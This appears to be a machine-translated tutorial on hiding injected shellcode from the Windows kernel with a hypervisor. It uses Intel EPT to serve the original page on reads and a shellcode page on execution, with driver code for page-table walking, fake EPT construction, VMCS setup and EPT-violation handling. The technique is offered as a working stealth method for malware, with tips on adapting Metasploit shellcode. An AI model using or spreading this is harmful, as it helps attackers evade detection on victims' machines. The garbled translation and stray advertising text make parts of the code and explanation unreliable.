preface

Is there a way that even the kernel in Ring0 can’t detect the memory that was loaded into the application? The answer is yes.

In the perception of The Windows operating system, his ring0 is the highest privilege, so he can look down on everything, and can cheat everything, he can cheat the application to monopolize 4GB of memory, but he does not think that there is a higher privilege and can cheat him.

When Virtualization is enabled in Windows, the entire operating system runs on the VIRTUAL machine designed for it by the CPU. In order to better manage the operating system, the permission to manage the operating system is derived, that is, the host permission, because there may be no concept of virtualization when naming the design permission. So to better represent that it has higher privileges than Windows’ R0(Guest privileges), it is called R-1, which is the God perspective I describe here. Just as an operating system can fool an application, a host in R-1 can fool the Windows kernel.

This article will achieve shellCode traceless through memory hiding.

Memory traceless principle

To simplify the implementation of memory virtualization and improve the performance of memory virtualization, Intel introduces Enhanced Page Table (EPT) technology, which adds a Page Table to the original Page Table to implement another mapping. In this way, both GVA-GPA-HPA address translation are automatically completed by CPU hardware.

Because VT(virtualization) is enabled, Windows considers physical addresses to be mapped through root EPT.

The virtual memory of the guest is converted to the physical memory of the guest, but this is not necessarily physical memory, and needs to be converted to the physical address of the host through the EPT table.

EPT table is transformed in a similar way to four-level page table, and the detailed content can be searched on Baidu.

An application with the host permission can create a fake EPT and pass it to the operating system. When the operating system wants to find a page of memory, we return it to the real memory page, and when we need to execute the page, we get a fake EPT.

As a result, the code executed is inconsistent with the code read.

And Intel CPUS allow full control of page permissions, that is, the block of memory can only have execution permissions, but no read and write permissions, such a malfunctioning page property.

The Whole shellcode injection mode in God mode

The first step is to get a block of memory where the program will execute. In this block of memory is normal code, that is, write a long useless code (like __asm{mov eax,eax}) but preferably long to prevent overwriting.

Once the virtual address of this function is obtained, it is passed to R0 through IRP. The code executed through IRP runs inside the program, so the resulting virtual address can be converted to the real physical address through the page table pointed to by PDBR.

Start a thread with R0 permission in IRP, which is used to enable VT virtualization.

Before VT virtualization is enabled, a custom EPT table is generated, and a copy of the physical address content obtained in this table is used as the execution page. The content of the fake page is injected into ShellCode as required, and the permission of the page where the physical address memory resides is set to read and write only.

When executing to the memory where Shellcode is located, host will take over the operating system, replace the page with the memory page injected with Shellcode, and set the property to execute only. When a program reads the memory, an exception occurs, and host changes its page to the original page. And the property is set to read and write only, and so on, to achieve the separation of read and write from execution.

1, Network security learning route 2, electronic books (white hat) 3, security factory internal video 4, 100 SRC documents 5, common security comprehensive questions 6, CTF competition classic topic analysis 7, full kit 8, emergency response notes

The first step is that the application creates a garbage function

It’s as simple as writing some guff code. Similar to:

int testFun(){ int a = 10; __asm{ mov a,15 mov eax,ebx mov ebx,eax mov eax,ebx mov ebx,eax mov eax,ebx mov ebx,eax mov eax,ebx mov ebx,eax ........  } return a; }Copy the code

Otherwise, when the compiler sees that your code is not long, there is a lot of room to optimize, no arguments, etc., it will automatically compile it as a convergent function, when the function address cannot be called.

This garbage function is executed after passing the IRP after loading the kernel driver.

Get the physical address of the virtual address

/ / get the incoming ring3 layer virtual address pOutAddress = (size_t *) MmGetSystemAddressForMdlSafe (pIrp - > MdlAddress, NormalPagePriority); RtlZeroMemory(&virtualAddress,sizeof(VIRTUAL_ADDRESS)); virtualAddress.ulVirtualAddress = *pOutAddress; _asm{mov eax, cr3; mov pdbr, eax; } // Map to a virtual address so that the value RtlZeroMemory(&phyAddress,sizeof(PHYSICAL_ADDRESS)); phyAddress.LowPart = pdbr; pPdbr = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached); KdPrint((" PDBR = 0x% 0x ", PDBR, pPdbr)); / / orientation page directory pointer table and get the physical catalogue pages address / / ulDirAddress for page directory table physical page address ulPointerIdx = virtualAddress. StVirtualAddress. DirPointer; ulDirBaseAddress = pPdbr[ulPointerIdx]; ulDirBaseAddress &= 0xFFFFF000; / / center / / physical address location page table entries ulDirAddress = ulDirBaseAddress + virtualAddress. StVirtualAddress. DirIndex * 0 by 8; phyAddress.LowPart = ulDirAddress; pPageTable = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached); ulPageTable = *pPageTable; ulPageTable &= 0xFFFFF000; / / physical address/middle/positioning physical pages ulPageTable + = virtualAddress. StVirtualAddress. TableIndex * 0 by 8; phyAddress.LowPart = ulPageTable; pPageBase = (PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached); ulPageBase = *pPageBase; ulPageBase &= 0xFFFFF000; / / get physical addresses ulPhyAddress = ulPageBase + virtualAddress stVirtualAddress. Offset; LowPart = ulPhyAddress; // Map to a virtual address and obtain its value for verification. pPhyAddress = (PWCHAR)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached); KdPrint((" virtual address: 0x%08X, physical address: 0x%08X", *pOutAddress, ulPhyAddress));Copy the code

The physical address (PDBR) of the page table of contents page is obtained through the CR3 register, and then the physical address is addressed step by step.

Create a false EPT table

ULONG64* MyEptInitialization() { ULONG64 *ept_PDPT, *ept_PDT, *ept_PT; ULONG64 * create_page; PHYSICAL_ADDRESS create_page_PA; PHYSICAL_ADDRESS FirstPtePA, FirstPdePA, FirstPdptePA; ULONG deviation; Int a, b, c; createCode(); initEptPagesPool(); ept_PML4T = AllocateOnePage(); ept_PDPT = AllocateOnePage(); FirstPdptePA = MmGetPhysicalAddress(ept_PDPT); *ept_PML4T = (FirstPdptePA.QuadPart) + 7; for (a = 0; a < 4; a++) { ept_PDT = AllocateOnePage(); FirstPdePA = MmGetPhysicalAddress(ept_PDT); *ept_PDPT = (FirstPdePA.QuadPart) + 7; ept_PDPT++; for (b = 0; b < 512; b++) { ept_PT = AllocateOnePage(); FirstPtePA = MmGetPhysicalAddress(ept_PT); *ept_PDT = (FirstPtePA.QuadPart) + 7; ept_PDT++; for (c = 0; c < 512; c++) { *ept_PT = ((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFFFFF; if ((((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFF000) == (origin_fun_pa & 0xFFFFF000)) { RtlZeroMemory(&create_page_PA,sizeof(PHYSICAL_ADDRESS)); create_page_PA.LowPart = origin_fun_pa & 0xFFFFF000; create_page = MmMapIoSpace(create_page_PA,PAGE_SIZE,MmNonCached); RtlZeroMemory(&origin_pa,sizeof(PHYSICAL_ADDRESS)); origin_pa.LowPart = ((a << 30) | (b << 21) | (c << 12) | 0x37); deviation = origin_fun_pa - (origin_fun_pa & 0xFFFFF000); fake_mem = AllocateFakePage(create_page,deviation,code,codelength); hook_pa = MmGetPhysicalAddress(fake_mem); *ept_PT = (hook_pa.QuadPart | 0x34) & 0xFFFFFFFF; Log("fake_mem",fake_mem); Log("*ept_PT",*ept_PT); //__asm int 3; hook_ept_pt = ept_PT; } ept_PT++; } } } return ept_PML4T; }Copy the code

The operation is similar to creating a four-level page table, but note that the physical memory page property of the garbage function is set to read-write and not executable.

Enabling VT Virtualization

This process is a little more complex, similar to the way Windows registers, so I’ll briefly cover the fields that need to be filled in EPT.

EPT populates the virtualized Guest control domain

    Vmx_VmWrite(CPU_BASED_VM_EXEC_CONTROL, VmxAdjustControls(0x80000000, MSR_IA32_VMX_PROCBASED_CTLS));
    Vmx_VmWrite(EPT_POINTER, (EPTP | 6 | (3 << 3)) & 0xFFFFFFFF);
    Vmx_VmWrite(EPT_POINTER_HIGH, (EPTP | 6 | (3 << 3)) >> 32);
    Vmx_VmWrite(EPT_POINTER_HIGH, EPTP >> 32);
    Vmx_VmWrite(SECONDARY_VM_EXEC_CONTROL, VmxAdjustControls(0x2, MSR_IA32_VMX_PROCBASED_CTLS2));
Copy the code

Turn on the EPT switch and pass in your EPT table address, which is filled in 32 bits.

Catch FP exceptions

void HandleEPT() { ULONG ExitQualification; ExitQualification = Vmx_VmRead(EXIT_QUALIFICATION) ; if(ExitQualification & 3){ //read write Log("EPT read",0); *hook_ept_pt = ((origin_pa.LowPart & 0xFFFFF000) | 0x33); //*hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x33); }else{ //exec Log("EPT EXEC",0); *hook_ept_pt = ((hook_pa.LowPart & 0xFFFFF000) | 0x34); }}Copy the code

Here you can see the process of replacing the fake page with the real page when the page is abnormal

3 represents read-write (11), 4 represents executable (100), and 7 represents read-write execution (111).

The chmod permission setting method is the same as that of Linux.

shellcode

Shellcode needs to note that it is best to use push ADDR, RET for function jump to prevent interference caused by absolute addresses.

Results show

As you can see, here the OD reads the normal code content of memory

Press Enter to execute the garbage function again.

At this point, the memory display is the original function, but instead the MessageBox pops up (since push type is 0, xp displays it this way).

Pay attention to

Due to the separation of read and write execution in memory, MSF type Shellcode at that time needs to separate read and write and combine write and execution to ensure that changes in Shellcode can be successfully written into the memory injected into ShellCode